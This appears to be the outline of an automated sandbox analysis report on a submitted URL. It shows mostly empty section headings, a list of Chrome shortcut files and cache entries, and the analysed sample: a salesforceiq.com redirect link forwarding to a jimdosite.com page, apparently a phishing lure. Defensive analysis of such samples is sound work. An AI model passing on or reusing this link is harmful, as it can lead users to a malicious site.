Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 111

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 82

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com